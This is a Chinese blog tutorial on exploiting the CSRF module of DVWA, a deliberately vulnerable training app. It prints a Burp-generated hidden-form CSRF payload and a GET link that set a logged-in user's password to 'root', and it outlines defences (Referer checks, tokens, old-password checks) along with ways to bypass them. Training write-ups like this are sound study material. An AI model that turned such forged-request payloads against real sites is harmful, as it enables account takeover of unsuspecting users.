【渗透测试-web安全】DVWA-CSRF

mac2025-08-08  62

【渗透测试-web安全】DVWA-CSRF

一、登录DVWA、设置安全级别为Low、进入CSRF修改密码抓包使用burpsuite右键构造CSRF打开测试 二、CSRF构造解析三、防范与破解进阶进阶防范1进阶破解之道1进阶防范2进阶破解之道2进阶防范3

一、登录DVWA、设置安全级别为Low、进入CSRF

修改密码

抓包

使用burpsuite右键构造CSRF

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/dvwa/vulnerabilities/csrf/"> <input type="hidden" name="password&#95;new" value="root" /> <input type="hidden" name="password&#95;conf" value="root" /> <input type="hidden" name="Change" value="Change" /> <input type="submit" value="ChangePassword" /> </form> </body> </html

打开测试

点击修改密码成功:

二、CSRF构造解析

通过抓包我们知道修改密码使用的是GET请求:

而且对应的网址为:

localhost/dvwa/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change 也就是说任何登录了这个站点的人点击访问构造的这个链接都会将密码改成root 但是真的有人会点击这个链接吗?这不是侮辱智商 所以就产生了我们之前的html代码,通过构造html来进行伪装将链接转换成我们无法识别的进行欺骗

三、防范与破解进阶

之前我们使用的仅仅是Low等级的漏洞利用,

进阶防范1

设置refer请求头,非正常的请求头则拒绝对应的请求。

进阶破解之道1

其实请求头我们在自己构建站点的时候是可以模拟的,只需要将对应的站点根文件夹名称修改为正确的refer名称即可

进阶防范2

增加随机参数user_token这样攻击者在知道其他参数的情况下是无法知道token值的

进阶破解之道2

理论上我们的user_token也是可以暴力破解的(其实真的只是理论上的)

进阶防范3

如果说黑客能够破解对应的user_token那么修改密码的时候我们增加原密码进行校对,至此天衣无缝

最新回复(0)